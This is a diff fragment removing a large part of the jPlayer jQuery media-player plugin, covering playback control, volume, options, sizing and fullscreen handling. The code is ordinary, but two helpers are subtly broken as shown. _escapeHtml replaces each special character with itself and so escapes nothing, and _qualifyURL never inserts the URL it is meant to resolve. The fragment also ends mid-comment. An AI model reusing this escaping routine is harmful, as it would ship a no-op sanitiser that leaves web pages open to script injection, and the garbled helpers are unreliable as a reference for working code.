if(this.status.srcSet) { - - // Need to read original status before issuing the setMedia command. - var currentTime = this.status.currentTime, - paused = this.status.paused; - - this.setMedia(this.status.media); - this.volumeWorker(this.options.volume); - if(currentTime > 0) { - if(paused) { - this.pause(currentTime); - } else { - this.play(currentTime); - } - } - } - this._trigger($.jPlayer.event.flashreset); - } - } - } - if(this.flash.gate) { - switch(eventType) { - case $.jPlayer.event.progress: - this._getFlashStatus(status); - this._updateInterface(); - this._trigger(eventType); - break; - case $.jPlayer.event.timeupdate: - this._getFlashStatus(status); - this._updateInterface(); - this._trigger(eventType); - break; - case $.jPlayer.event.play: - this._seeked(); - this._updateButtons(true); - this._trigger(eventType); - break; - case $.jPlayer.event.pause: - this._updateButtons(false); - this._trigger(eventType); - break; - case $.jPlayer.event.ended: - this._updateButtons(false); - this._trigger(eventType); - break; - case $.jPlayer.event.click: - this._trigger(eventType); // This could be dealt with by the default - break; - case $.jPlayer.event.error: - this.status.waitForLoad = true; // Allows the load operation to try again. - this.status.waitForPlay = true; // Reset since a play was captured. - if(this.status.video) { - this.internal.flash.jq.css({'width':'0px', 'height':'0px'}); - } - if(this._validString(this.status.media.poster)) { - this.internal.poster.jq.show(); - } - if(this.css.jq.videoPlay.length && this.status.video) { - this.css.jq.videoPlay.show(); - } - if(this.status.video) { // Set up for another try. Execute before error event. - this._flash_setVideo(this.status.media); - } else { - this._flash_setAudio(this.status.media); - } - this._updateButtons(false); - this._error( { - type: $.jPlayer.error.URL, - context:status.src, - message: $.jPlayer.errorMsg.URL, - hint: $.jPlayer.errorHint.URL - }); - break; - case $.jPlayer.event.seeking: - this._seeking(); - this._trigger(eventType); - break; - case $.jPlayer.event.seeked: - this._seeked(); - this._trigger(eventType); - break; - case $.jPlayer.event.ready: - // The ready event is handled outside the switch statement. - // Captured here otherwise 2 ready events would be generated if the ready event handler used setMedia. - break; - default: - this._trigger(eventType); - } - } - return false; - }, - _getFlashStatus: function(status) { - this.status.seekPercent = status.seekPercent; - this.status.currentPercentRelative = status.currentPercentRelative; - this.status.currentPercentAbsolute = status.currentPercentAbsolute; - this.status.currentTime = status.currentTime; - this.status.duration = status.duration; - this.status.remaining = status.duration - status.currentTime; - - this.status.videoWidth = status.videoWidth; - this.status.videoHeight = status.videoHeight; - - // The Flash does not generate this information in this release - this.status.readyState = 4; // status.readyState; - this.status.networkState = 0; // status.networkState; - this.status.playbackRate = 1; // status.playbackRate; - this.status.ended = false; // status.ended; - }, - _updateButtons: function(playing) { - if(playing === undefined) { - playing = !this.status.paused; - } else { - this.status.paused = !playing; - } - // Apply the state classes. (For the useStateClassSkin:true option) - if(playing) { - this.addStateClass('playing'); - } else { - this.removeStateClass('playing'); - } - if(!this.status.noFullWindow && this.options.fullWindow) { - this.addStateClass('fullScreen'); - } else { - this.removeStateClass('fullScreen'); - } - if(this.options.loop) { - this.addStateClass('looped'); - } else { - this.removeStateClass('looped'); - } - // Toggle the GUI element pairs. (For the useStateClassSkin:false option) - if(this.css.jq.play.length && this.css.jq.pause.length) { - if(playing) { - this.css.jq.play.hide(); - this.css.jq.pause.show(); - } else { - this.css.jq.play.show(); - this.css.jq.pause.hide(); - } - } - if(this.css.jq.restoreScreen.length && this.css.jq.fullScreen.length) { - if(this.status.noFullWindow) { - this.css.jq.fullScreen.hide(); - this.css.jq.restoreScreen.hide(); - } else if(this.options.fullWindow) { - this.css.jq.fullScreen.hide(); - this.css.jq.restoreScreen.show(); - } else { - this.css.jq.fullScreen.show(); - this.css.jq.restoreScreen.hide(); - } - } - if(this.css.jq.repeat.length && this.css.jq.repeatOff.length) { - if(this.options.loop) { - this.css.jq.repeat.hide(); - this.css.jq.repeatOff.show(); - } else { - this.css.jq.repeat.show(); - this.css.jq.repeatOff.hide(); - } - } - }, - _updateInterface: function() { - if(this.css.jq.seekBar.length) { - this.css.jq.seekBar.width(this.status.seekPercent+"%"); - } - if(this.css.jq.playBar.length) { - if(this.options.smoothPlayBar) { - this.css.jq.playBar.stop().animate({ - width: this.status.currentPercentAbsolute+"%" - }, 250, "linear"); - } else { - this.css.jq.playBar.width(this.status.currentPercentRelative+"%"); - } - } - var currentTimeText = ''; - if(this.css.jq.currentTime.length) { - currentTimeText = this._convertTime(this.status.currentTime); - if(currentTimeText !== this.css.jq.currentTime.text()) { - this.css.jq.currentTime.text(this._convertTime(this.status.currentTime)); - } - } - var durationText = '', - duration = this.status.duration, - remaining = this.status.remaining; - if(this.css.jq.duration.length) { - if(typeof this.status.media.duration === 'string') { - durationText = this.status.media.duration; - } else { - if(typeof this.status.media.duration === 'number') { - duration = this.status.media.duration; - remaining = duration - this.status.currentTime; - } - if(this.options.remainingDuration) { - durationText = (remaining > 0 ? '-' : '') + this._convertTime(remaining); - } else { - durationText = this._convertTime(duration); - } - } - if(durationText !== this.css.jq.duration.text()) { - this.css.jq.duration.text(durationText); - } - } - }, - _convertTime: ConvertTime.prototype.time, - _seeking: function() { - if(this.css.jq.seekBar.length) { - this.css.jq.seekBar.addClass("jp-seeking-bg"); - } - this.addStateClass('seeking'); - }, - _seeked: function() { - if(this.css.jq.seekBar.length) { - this.css.jq.seekBar.removeClass("jp-seeking-bg"); - } - this.removeStateClass('seeking'); - }, - _resetGate: function() { - this.html.audio.gate = false; - this.html.video.gate = false; - this.aurora.gate = false; - this.flash.gate = false; - }, - _resetActive: function() { - this.html.active = false; - this.aurora.active = false; - this.flash.active = false; - }, - _escapeHtml: function(s) { - return s.split('&').join('&').split('<').join('<').split('>').join('>').split('"').join('"'); - }, - _qualifyURL: function(url) { - var el = document.createElement('div'); - el.innerHTML= 'x'; - return el.firstChild.href; - }, - _absoluteMediaUrls: function(media) { - var self = this; - $.each(media, function(type, url) { - if(url && self.format[type] && url.substr(0, 5) !== "data:") { - media[type] = self._qualifyURL(url); - } - }); - return media; - }, - addStateClass: function(state) { - if(this.ancestorJq.length) { - this.ancestorJq.addClass(this.options.stateClass[state]); - } - }, - removeStateClass: function(state) { - if(this.ancestorJq.length) { - this.ancestorJq.removeClass(this.options.stateClass[state]); - } - }, - setMedia: function(media) { - - /* media[format] = String: URL of format. Must contain all of the supplied option's video or audio formats. - * media.poster = String: Video poster URL. - * media.track = Array: Of objects defining the track element: kind, src, srclang, label, def. - * media.stream = Boolean: * NOT IMPLEMENTED * Designating actual media streams. ie., "false/undefined" for files. Plan to refresh the flash every so often. - */ - - var self = this, - supported = false, - posterChanged = this.status.media.poster !== media.poster; // Compare before reset. Important for OSX Safari as this.htmlElement.poster.src is absolute, even if original poster URL was relative. - - this._resetMedia(); - this._resetGate(); - this._resetActive(); - - // Clear the Android Fix. - this.androidFix.setMedia = false; - this.androidFix.play = false; - this.androidFix.pause = false; - - // Convert all media URLs to absolute URLs. - media = this._absoluteMediaUrls(media); - - $.each(this.formats, function(formatPriority, format) { - var isVideo = self.format[format].media === 'video'; - $.each(self.solutions, function(solutionPriority, solution) { - if(self[solution].support[format] && self._validString(media[format])) { // Format supported in solution and url given for format. - var isHtml = solution === 'html'; - var isAurora = solution === 'aurora'; - - if(isVideo) { - if(isHtml) { - self.html.video.gate = true; - self._html_setVideo(media); - self.html.active = true; - } else { - self.flash.gate = true; - self._flash_setVideo(media); - self.flash.active = true; - } - if(self.css.jq.videoPlay.length) { - self.css.jq.videoPlay.show(); - } - self.status.video = true; - } else { - if(isHtml) { - self.html.audio.gate = true; - self._html_setAudio(media); - self.html.active = true; - - // Setup the Android Fix - Only for HTML audio. - if($.jPlayer.platform.android) { - self.androidFix.setMedia = true; - } - } else if(isAurora) { - self.aurora.gate = true; - self._aurora_setAudio(media); - self.aurora.active = true; - } else { - self.flash.gate = true; - self._flash_setAudio(media); - self.flash.active = true; - } - if(self.css.jq.videoPlay.length) { - self.css.jq.videoPlay.hide(); - } - self.status.video = false; - } - - supported = true; - return false; // Exit $.each - } - }); - if(supported) { - return false; // Exit $.each - } - }); - - if(supported) { - if(!(this.status.nativeVideoControls && this.html.video.gate)) { - // Set poster IMG if native video controls are not being used - // Note: With IE the IMG onload event occurs immediately when cached. - // Note: Poster hidden by default in _resetMedia() - if(this._validString(media.poster)) { - if(posterChanged) { // Since some browsers do not generate img onload event. - this.htmlElement.poster.src = media.poster; - } else { - this.internal.poster.jq.show(); - } - } - } - if(typeof media.title === 'string') { - if(this.css.jq.title.length) { - this.css.jq.title.html(media.title); - } - if(this.htmlElement.audio) { - this.htmlElement.audio.setAttribute('title', media.title); - } - if(this.htmlElement.video) { - this.htmlElement.video.setAttribute('title', media.title); - } - } - this.status.srcSet = true; - this.status.media = $.extend({}, media); - this._updateButtons(false); - this._updateInterface(); - this._trigger($.jPlayer.event.setmedia); - } else { // jPlayer cannot support any formats provided in this browser - // Send an error event - this._error( { - type: $.jPlayer.error.NO_SUPPORT, - context: "{supplied:'" + this.options.supplied + "'}", - message: $.jPlayer.errorMsg.NO_SUPPORT, - hint: $.jPlayer.errorHint.NO_SUPPORT - }); - } - }, - _resetMedia: function() { - this._resetStatus(); - this._updateButtons(false); - this._updateInterface(); - this._seeked(); - this.internal.poster.jq.hide(); - - clearTimeout(this.internal.htmlDlyCmdId); - - if(this.html.active) { - this._html_resetMedia(); - } else if(this.aurora.active) { - this._aurora_resetMedia(); - } else if(this.flash.active) { - this._flash_resetMedia(); - } - }, - clearMedia: function() { - this._resetMedia(); - - if(this.html.active) { - this._html_clearMedia(); - } else if(this.aurora.active) { - this._aurora_clearMedia(); - } else if(this.flash.active) { - this._flash_clearMedia(); - } - - this._resetGate(); - this._resetActive(); - }, - load: function() { - if(this.status.srcSet) { - if(this.html.active) { - this._html_load(); - } else if(this.aurora.active) { - this._aurora_load(); - } else if(this.flash.active) { - this._flash_load(); - } - } else { - this._urlNotSetError("load"); - } - }, - focus: function() { - if(this.options.keyEnabled) { - $.jPlayer.focus = this; - } - }, - play: function(time) { - var guiAction = typeof time === "object"; // Flags GUI click events so we know this was not a direct command, but an action taken by the user on the GUI. - if(guiAction && this.options.useStateClassSkin && !this.status.paused) { - this.pause(time); // The time would be the click event, but passing it over so info is not lost. - } else { - time = (typeof time === "number") ? time : NaN; // Remove jQuery event from click handler - if(this.status.srcSet) { - this.focus(); - if(this.html.active) { - this._html_play(time); - } else if(this.aurora.active) { - this._aurora_play(time); - } else if(this.flash.active) { - this._flash_play(time); - } - } else { - this._urlNotSetError("play"); - } - } - }, - videoPlay: function() { // Handles clicks on the play button over the video poster - this.play(); - }, - pause: function(time) { - time = (typeof time === "number") ? time : NaN; // Remove jQuery event from click handler - if(this.status.srcSet) { - if(this.html.active) { - this._html_pause(time); - } else if(this.aurora.active) { - this._aurora_pause(time); - } else if(this.flash.active) { - this._flash_pause(time); - } - } else { - this._urlNotSetError("pause"); - } - }, - tellOthers: function(command, conditions) { - var self = this, - hasConditions = typeof conditions === 'function', - args = Array.prototype.slice.call(arguments); // Convert arguments to an Array. - - if(typeof command !== 'string') { // Ignore, since no command. - return; // Return undefined to maintain chaining. - } - if(hasConditions) { - args.splice(1, 1); // Remove the conditions from the arguments - } - - $.jPlayer.prototype.destroyRemoved(); - $.each(this.instances, function() { - // Remember that "this" is the instance's "element" in the $.each() loop. - if(self.element !== this) { // Do not tell my instance. - if(!hasConditions || conditions.call(this.data("jPlayer"), self)) { - this.jPlayer.apply(this, args); - } - } - }); - }, - pauseOthers: function(time) { - this.tellOthers("pause", function() { - // In the conditions function, the "this" context is the other instance's jPlayer object. - return this.status.srcSet; - }, time); - }, - stop: function() { - if(this.status.srcSet) { - if(this.html.active) { - this._html_pause(0); - } else if(this.aurora.active) { - this._aurora_pause(0); - } else if(this.flash.active) { - this._flash_pause(0); - } - } else { - this._urlNotSetError("stop"); - } - }, - playHead: function(p) { - p = this._limitValue(p, 0, 100); - if(this.status.srcSet) { - if(this.html.active) { - this._html_playHead(p); - } else if(this.aurora.active) { - this._aurora_playHead(p); - } else if(this.flash.active) { - this._flash_playHead(p); - } - } else { - this._urlNotSetError("playHead"); - } - }, - _muted: function(muted) { - this.mutedWorker(muted); - if(this.options.globalVolume) { - this.tellOthers("mutedWorker", function() { - // Check the other instance has global volume enabled. - return this.options.globalVolume; - }, muted); - } - }, - mutedWorker: function(muted) { - this.options.muted = muted; - if(this.html.used) { - this._html_setProperty('muted', muted); - } - if(this.aurora.used) { - this._aurora_mute(muted); - } - if(this.flash.used) { - this._flash_mute(muted); - } - - // The HTML solution generates this event from the media element itself. - if(!this.html.video.gate && !this.html.audio.gate) { - this._updateMute(muted); - this._updateVolume(this.options.volume); - this._trigger($.jPlayer.event.volumechange); - } - }, - mute: function(mute) { // mute is either: undefined (true), an event object (true) or a boolean (muted). - var guiAction = typeof mute === "object"; // Flags GUI click events so we know this was not a direct command, but an action taken by the user on the GUI. - if(guiAction && this.options.useStateClassSkin && this.options.muted) { - this._muted(false); - } else { - mute = mute === undefined ? true : !!mute; - this._muted(mute); - } - }, - unmute: function(unmute) { // unmute is either: undefined (true), an event object (true) or a boolean (!muted). - unmute = unmute === undefined ? true : !!unmute; - this._muted(!unmute); - }, - _updateMute: function(mute) { - if(mute === undefined) { - mute = this.options.muted; - } - if(mute) { - this.addStateClass('muted'); - } else { - this.removeStateClass('muted'); - } - if(this.css.jq.mute.length && this.css.jq.unmute.length) { - if(this.status.noVolume) { - this.css.jq.mute.hide(); - this.css.jq.unmute.hide(); - } else if(mute) { - this.css.jq.mute.hide(); - this.css.jq.unmute.show(); - } else { - this.css.jq.mute.show(); - this.css.jq.unmute.hide(); - } - } - }, - volume: function(v) { - this.volumeWorker(v); - if(this.options.globalVolume) { - this.tellOthers("volumeWorker", function() { - // Check the other instance has global volume enabled. - return this.options.globalVolume; - }, v); - } - }, - volumeWorker: function(v) { - v = this._limitValue(v, 0, 1); - this.options.volume = v; - - if(this.html.used) { - this._html_setProperty('volume', v); - } - if(this.aurora.used) { - this._aurora_volume(v); - } - if(this.flash.used) { - this._flash_volume(v); - } - - // The HTML solution generates this event from the media element itself. - if(!this.html.video.gate && !this.html.audio.gate) { - this._updateVolume(v); - this._trigger($.jPlayer.event.volumechange); - } - }, - volumeBar: function(e) { // Handles clicks on the volumeBar - if(this.css.jq.volumeBar.length) { - // Using $(e.currentTarget) to enable multiple volume bars - var $bar = $(e.currentTarget), - offset = $bar.offset(), - x = e.pageX - offset.left, - w = $bar.width(), - y = $bar.height() - e.pageY + offset.top, - h = $bar.height(); - if(this.options.verticalVolume) { - this.volume(y/h); - } else { - this.volume(x/w); - } - } - if(this.options.muted) { - this._muted(false); - } - }, - _updateVolume: function(v) { - if(v === undefined) { - v = this.options.volume; - } - v = this.options.muted ? 0 : v; - - if(this.status.noVolume) { - this.addStateClass('noVolume'); - if(this.css.jq.volumeBar.length) { - this.css.jq.volumeBar.hide(); - } - if(this.css.jq.volumeBarValue.length) { - this.css.jq.volumeBarValue.hide(); - } - if(this.css.jq.volumeMax.length) { - this.css.jq.volumeMax.hide(); - } - } else { - this.removeStateClass('noVolume'); - if(this.css.jq.volumeBar.length) { - this.css.jq.volumeBar.show(); - } - if(this.css.jq.volumeBarValue.length) { - this.css.jq.volumeBarValue.show(); - this.css.jq.volumeBarValue[this.options.verticalVolume ? "height" : "width"]((v*100)+"%"); - } - if(this.css.jq.volumeMax.length) { - this.css.jq.volumeMax.show(); - } - } - }, - volumeMax: function() { // Handles clicks on the volume max - this.volume(1); - if(this.options.muted) { - this._muted(false); - } - }, - _cssSelectorAncestor: function(ancestor) { - var self = this; - this.options.cssSelectorAncestor = ancestor; - this._removeUiClass(); - this.ancestorJq = ancestor ? $(ancestor) : []; // Would use $() instead of [], but it is only 1.4+ - if(ancestor && this.ancestorJq.length !== 1) { // So empty strings do not generate the warning. - this._warning( { - type: $.jPlayer.warning.CSS_SELECTOR_COUNT, - context: ancestor, - message: $.jPlayer.warningMsg.CSS_SELECTOR_COUNT + this.ancestorJq.length + " found for cssSelectorAncestor.", - hint: $.jPlayer.warningHint.CSS_SELECTOR_COUNT - }); - } - this._addUiClass(); - $.each(this.options.cssSelector, function(fn, cssSel) { - self._cssSelector(fn, cssSel); - }); - - // Set the GUI to the current state. - this._updateInterface(); - this._updateButtons(); - this._updateAutohide(); - this._updateVolume(); - this._updateMute(); - }, - _cssSelector: function(fn, cssSel) { - var self = this; - if(typeof cssSel === 'string') { - if($.jPlayer.prototype.options.cssSelector[fn]) { - if(this.css.jq[fn] && this.css.jq[fn].length) { - this.css.jq[fn].unbind(".jPlayer"); - } - this.options.cssSelector[fn] = cssSel; - this.css.cs[fn] = this.options.cssSelectorAncestor + " " + cssSel; - - if(cssSel) { // Checks for empty string - this.css.jq[fn] = $(this.css.cs[fn]); - } else { - this.css.jq[fn] = []; // To comply with the css.jq[fn].length check before its use. As of jQuery 1.4 could have used $() for an empty set. - } - - if(this.css.jq[fn].length && this[fn]) { - var handler = function(e) { - e.preventDefault(); - self[fn](e); - if(self.options.autoBlur) { - $(this).blur(); - } else { - $(this).focus(); // Force focus for ARIA. - } - }; - this.css.jq[fn].bind("click.jPlayer", handler); // Using jPlayer namespace - } - - if(cssSel && this.css.jq[fn].length !== 1) { // So empty strings do not generate the warning. ie., they just remove the old one. - this._warning( { - type: $.jPlayer.warning.CSS_SELECTOR_COUNT, - context: this.css.cs[fn], - message: $.jPlayer.warningMsg.CSS_SELECTOR_COUNT + this.css.jq[fn].length + " found for " + fn + " method.", - hint: $.jPlayer.warningHint.CSS_SELECTOR_COUNT - }); - } - } else { - this._warning( { - type: $.jPlayer.warning.CSS_SELECTOR_METHOD, - context: fn, - message: $.jPlayer.warningMsg.CSS_SELECTOR_METHOD, - hint: $.jPlayer.warningHint.CSS_SELECTOR_METHOD - }); - } - } else { - this._warning( { - type: $.jPlayer.warning.CSS_SELECTOR_STRING, - context: cssSel, - message: $.jPlayer.warningMsg.CSS_SELECTOR_STRING, - hint: $.jPlayer.warningHint.CSS_SELECTOR_STRING - }); - } - }, - duration: function(e) { - if(this.options.toggleDuration) { - if(this.options.captureDuration) { - e.stopPropagation(); - } - this._setOption("remainingDuration", !this.options.remainingDuration); - } - }, - seekBar: function(e) { // Handles clicks on the seekBar - if(this.css.jq.seekBar.length) { - // Using $(e.currentTarget) to enable multiple seek bars - var $bar = $(e.currentTarget), - offset = $bar.offset(), - x = e.pageX - offset.left, - w = $bar.width(), - p = 100 * x / w; - this.playHead(p); - } - }, - playbackRate: function(pbr) { - this._setOption("playbackRate", pbr); - }, - playbackRateBar: function(e) { // Handles clicks on the playbackRateBar - if(this.css.jq.playbackRateBar.length) { - // Using $(e.currentTarget) to enable multiple playbackRate bars - var $bar = $(e.currentTarget), - offset = $bar.offset(), - x = e.pageX - offset.left, - w = $bar.width(), - y = $bar.height() - e.pageY + offset.top, - h = $bar.height(), - ratio, pbr; - if(this.options.verticalPlaybackRate) { - ratio = y/h; - } else { - ratio = x/w; - } - pbr = ratio * (this.options.maxPlaybackRate - this.options.minPlaybackRate) + this.options.minPlaybackRate; - this.playbackRate(pbr); - } - }, - _updatePlaybackRate: function() { - var pbr = this.options.playbackRate, - ratio = (pbr - this.options.minPlaybackRate) / (this.options.maxPlaybackRate - this.options.minPlaybackRate); - if(this.status.playbackRateEnabled) { - if(this.css.jq.playbackRateBar.length) { - this.css.jq.playbackRateBar.show(); - } - if(this.css.jq.playbackRateBarValue.length) { - this.css.jq.playbackRateBarValue.show(); - this.css.jq.playbackRateBarValue[this.options.verticalPlaybackRate ? "height" : "width"]((ratio*100)+"%"); - } - } else { - if(this.css.jq.playbackRateBar.length) { - this.css.jq.playbackRateBar.hide(); - } - if(this.css.jq.playbackRateBarValue.length) { - this.css.jq.playbackRateBarValue.hide(); - } - } - }, - repeat: function(event) { // Handle clicks on the repeat button - var guiAction = typeof event === "object"; // Flags GUI click events so we know this was not a direct command, but an action taken by the user on the GUI. - if(guiAction && this.options.useStateClassSkin && this.options.loop) { - this._loop(false); - } else { - this._loop(true); - } - }, - repeatOff: function() { // Handle clicks on the repeatOff button - this._loop(false); - }, - _loop: function(loop) { - if(this.options.loop !== loop) { - this.options.loop = loop; - this._updateButtons(); - this._trigger($.jPlayer.event.repeat); - } - }, - - // Options code adapted from ui.widget.js (1.8.7). Made changes so the key can use dot notation. To match previous getData solution in jPlayer 1. - option: function(key, value) { - var options = key; - - // Enables use: options(). Returns a copy of options object - if ( arguments.length === 0 ) { - return $.extend( true, {}, this.options ); - } - - if(typeof key === "string") { - var keys = key.split("."); - - // Enables use: options("someOption") Returns a copy of the option. Supports dot notation. - if(value === undefined) { - - var opt = $.extend(true, {}, this.options); - for(var i = 0; i < keys.length; i++) { - if(opt[keys[i]] !== undefined) { - opt = opt[keys[i]]; - } else { - this._warning( { - type: $.jPlayer.warning.OPTION_KEY, - context: key, - message: $.jPlayer.warningMsg.OPTION_KEY, - hint: $.jPlayer.warningHint.OPTION_KEY - }); - return undefined; - } - } - return opt; - } - - // Enables use: options("someOptionObject", someObject}). Creates: {someOptionObject:someObject} - // Enables use: options("someOption", someValue). Creates: {someOption:someValue} - // Enables use: options("someOptionObject.someOption", someValue). Creates: {someOptionObject:{someOption:someValue}} - - options = {}; - var opts = options; - - for(var j = 0; j < keys.length; j++) { - if(j < keys.length - 1) { - opts[keys[j]] = {}; - opts = opts[keys[j]]; - } else { - opts[keys[j]] = value; - } - } - } - - // Otherwise enables use: options(optionObject). Uses original object (the key) - - this._setOptions(options); - - return this; - }, - _setOptions: function(options) { - var self = this; - $.each(options, function(key, value) { // This supports the 2 level depth that the options of jPlayer has. Would review if we ever need more depth. - self._setOption(key, value); - }); - - return this; - }, - _setOption: function(key, value) { - var self = this; - - // The ability to set options is limited at this time. - - switch(key) { - case "volume" : - this.volume(value); - break; - case "muted" : - this._muted(value); - break; - case "globalVolume" : - this.options[key] = value; - break; - case "cssSelectorAncestor" : - this._cssSelectorAncestor(value); // Set and refresh all associations for the new ancestor. - break; - case "cssSelector" : - $.each(value, function(fn, cssSel) { - self._cssSelector(fn, cssSel); // NB: The option is set inside this function, after further validity checks. - }); - break; - case "playbackRate" : - this.options[key] = value = this._limitValue(value, this.options.minPlaybackRate, this.options.maxPlaybackRate); - if(this.html.used) { - this._html_setProperty('playbackRate', value); - } - this._updatePlaybackRate(); - break; - case "defaultPlaybackRate" : - this.options[key] = value = this._limitValue(value, this.options.minPlaybackRate, this.options.maxPlaybackRate); - if(this.html.used) { - this._html_setProperty('defaultPlaybackRate', value); - } - this._updatePlaybackRate(); - break; - case "minPlaybackRate" : - this.options[key] = value = this._limitValue(value, 0.1, this.options.maxPlaybackRate - 0.1); - this._updatePlaybackRate(); - break; - case "maxPlaybackRate" : - this.options[key] = value = this._limitValue(value, this.options.minPlaybackRate + 0.1, 16); - this._updatePlaybackRate(); - break; - case "fullScreen" : - if(this.options[key] !== value) { // if changed - var wkv = $.jPlayer.nativeFeatures.fullscreen.used.webkitVideo; - if(!wkv || wkv && !this.status.waitForPlay) { - if(!wkv) { // No sensible way to unset option on these devices. - this.options[key] = value; - } - if(value) { - this._requestFullscreen(); - } else { - this._exitFullscreen(); - } - if(!wkv) { - this._setOption("fullWindow", value); - } - } - } - break; - case "fullWindow" : - if(this.options[key] !== value) { // if changed - this._removeUiClass(); - this.options[key] = value; - this._refreshSize(); - } - break; - case "size" : - if(!this.options.fullWindow && this.options[key].cssClass !== value.cssClass) { - this._removeUiClass(); - } - this.options[key] = $.extend({}, this.options[key], value); // store a merged copy of it, incase not all properties changed. - this._refreshSize(); - break; - case "sizeFull" : - if(this.options.fullWindow && this.options[key].cssClass !== value.cssClass) { - this._removeUiClass(); - } - this.options[key] = $.extend({}, this.options[key], value); // store a merged copy of it, incase not all properties changed. - this._refreshSize(); - break; - case "autohide" : - this.options[key] = $.extend({}, this.options[key], value); // store a merged copy of it, incase not all properties changed. - this._updateAutohide(); - break; - case "loop" : - this._loop(value); - break; - case "remainingDuration" : - this.options[key] = value; - this._updateInterface(); - break; - case "toggleDuration" : - this.options[key] = value; - break; - case "nativeVideoControls" : - this.options[key] = $.extend({}, this.options[key], value); // store a merged copy of it, incase not all properties changed. - this.status.nativeVideoControls = this._uaBlocklist(this.options.nativeVideoControls); - this._restrictNativeVideoControls(); - this._updateNativeVideoControls(); - break; - case "noFullWindow" : - this.options[key] = $.extend({}, this.options[key], value); // store a merged copy of it, incase not all properties changed. - this.status.nativeVideoControls = this._uaBlocklist(this.options.nativeVideoControls); // Need to check again as noFullWindow can depend on this flag and the restrict() can override it. - this.status.noFullWindow = this._uaBlocklist(this.options.noFullWindow); - this._restrictNativeVideoControls(); - this._updateButtons(); - break; - case "noVolume" : - this.options[key] = $.extend({}, this.options[key], value); // store a merged copy of it, incase not all properties changed. - this.status.noVolume = this._uaBlocklist(this.options.noVolume); - this._updateVolume(); - this._updateMute(); - break; - case "emulateHtml" : - if(this.options[key] !== value) { // To avoid multiple event handlers being created, if true already. - this.options[key] = value; - if(value) { - this._emulateHtmlBridge(); - } else { - this._destroyHtmlBridge(); - } - } - break; - case "timeFormat" : - this.options[key] = $.extend({}, this.options[key], value); // store a merged copy of it, incase not all properties changed. - break; - case "keyEnabled" : - this.options[key] = value; - if(!value && this === $.jPlayer.focus) { - $.jPlayer.focus = null; - } - break; - case "keyBindings" : - this.options[key] = $.extend(true, {}, this.options[key], value); // store a merged DEEP copy of it, incase not all properties changed. - break; - case "audioFullScreen" : - this.options[key] = value; - break; - case "autoBlur" : - this.options[key] = value; - break; - } - - return this; - }, - // End of: (Options code adapted from ui.widget.js) - - _refreshSize: function() { - this._setSize(); // update status and jPlayer element size - this._addUiClass(); // update the ui class - this._updateSize(); // update internal sizes - this._updateButtons(); - this._updateAutohide(); - this._trigger($.jPlayer.event.resize); - }, - _setSize: function() { - // Determine the current size from the options - if(this.options.fullWindow) { - this.status.width = this.options.sizeFull.width; - this.status.height = this.options.sizeFull.height; - this.status.cssClass = this.options.sizeFull.cssClass; - } else { - this.status.width = this.options.size.width; - this.status.height = this.options.size.height; - this.status.cssClass = this.options.size.cssClass; - } - - // Set the size of the jPlayer area. - this.element.css({'width': this.status.width, 'height': this.status.height}); - }, - _addUiClass: function() { - if(this.ancestorJq.length) { - this.ancestorJq.addClass(this.status.cssClass); - } - }, - _removeUiClass: function() { - if(this.ancestorJq.length) { - this.ancestorJq.removeClass(this.status.cssClass); - } - }, - _updateSize: function() { - // The poster uses show/hide so can simply resize it. - this.internal.poster.jq.css({'width': this.status.width, 'height': this.status.height}); - - // Video html or flash resized if necessary at this time, or if native video controls being used. - if(!this.status.waitForPlay && this.html.active && this.status.video || this.html.video.available && this.html.used && this.status.nativeVideoControls) { - this.internal.video.jq.css({'width': this.status.width, 'height': this.status.height}); - } - else if(!this.status.waitForPlay && this.flash.active && this.status.video) { - this.internal.flash.jq.css({'width': this.status.width, 'height': this.status.height}); - } - }, - _updateAutohide: function() { - var self = this, - event = "mousemove.jPlayer", - namespace = ".jPlayerAutohide", - eventType = event + namespace, - handler = function(event) { - var moved = false, - deltaX, deltaY; - if(typeof self.internal.mouse !== "undefined") { - //get the change from last position to this position - deltaX = self.internal.mouse.x - event.pageX; - deltaY = self.internal.mouse.y - event.pageY; - moved = (Math.floor(deltaX) > 0) || (Math.floor(deltaY)>0); - } else { - moved = true; - } - // store current position for next method execution - self.internal.mouse = { - x : event.pageX, - y : event.pageY - }; - // if mouse has been actually moved, do the gui fadeIn/fadeOut - if (moved) { - self.css.jq.gui.fadeIn(self.options.autohide.fadeIn, function() { - clearTimeout(self.internal.autohideId); - self.internal.autohideId = setTimeout( function() { - self.css.jq.gui.fadeOut(self.options.autohide.fadeOut); - }, self.options.autohide.hold); - }); - } - }; - - if(this.css.jq.gui.length) { - - // End animations first so that its callback is executed now. - // Otherwise an in progress fadeIn animation still has the callback to fadeOut again. - this.css.jq.gui.stop(true, true); - - // Removes the fadeOut operation from the fadeIn callback. - clearTimeout(this.internal.autohideId); - // undefine mouse - delete this.internal.mouse; - - this.element.unbind(namespace); - this.css.jq.gui.unbind(namespace); - - if(!this.status.nativeVideoControls) { - if(this.options.fullWindow && this.options.autohide.full || !this.options.fullWindow && this.options.autohide.restored) { - this.element.bind(eventType, handler); - this.css.jq.gui.bind(eventType, handler); - this.css.jq.gui.hide(); - } else { - this.css.jq.gui.show(); - } - } else { - this.css.jq.gui.hide(); - } - } - }, - fullScreen: function(event) { - var guiAction = typeof event === "object"; // Flags GUI click events so we know this was not a direct command, but an action taken by the user on the GUI. - if(guiAction && this.options.useStateClassSkin && this.options.fullScreen) { - this._setOption("fullScreen", false); - } else { - this._setOption("fullScreen", true); - } - }, - restoreScreen: function() { - this._setOption("fullScreen", false); - }, - _fullscreenAddEventListeners: function() { - var self = this, - fs = $.jPlayer.nativeFeatures.fullscreen; - - if(fs.api.fullscreenEnabled) { - if(fs.event.fullscreenchange) { - // Create the event handler function and store it for removal. - if(typeof this.internal.fullscreenchangeHandler !== 'function') { - this.internal.fullscreenchangeHandler = function() { - self._fullscreenchange(); - }; - } - document.addEventListener(fs.event.fullscreenchange, this.internal.fullscreenchangeHandler, false); - } - // No point creating handler for fullscreenerror. - // Either logic avoids fullscreen occurring (w3c/moz), or their is no event on the browser (webkit). - } - }, - _fullscreenRemoveEventListeners: function() { - var fs = $.jPlayer.nativeFeatures.fullscreen; - if(this.internal.fullscreenchangeHandler) { - document.removeEventListener(fs.event.fullscreenchange, this.internal.fullscreenchangeHandler, false); - } - }, - _fullscreenchange: function() { - // If nothing is fullscreen, then we cannot be in fullscreen mode. - if(this.options.fullScreen && !$.jPlayer.nativeFeatures.fullscreen.api.fullscreenElement()) { - this._setOption("fullScreen", false); - } - }, - _requestFullscreen: function() { - // Either the container or the jPlayer div - var e = this.ancestorJq.length ? this.ancestorJq[0] : this.element[0], - fs = $.jPlayer.nativeFeatures.fullscreen; - - // This method needs the 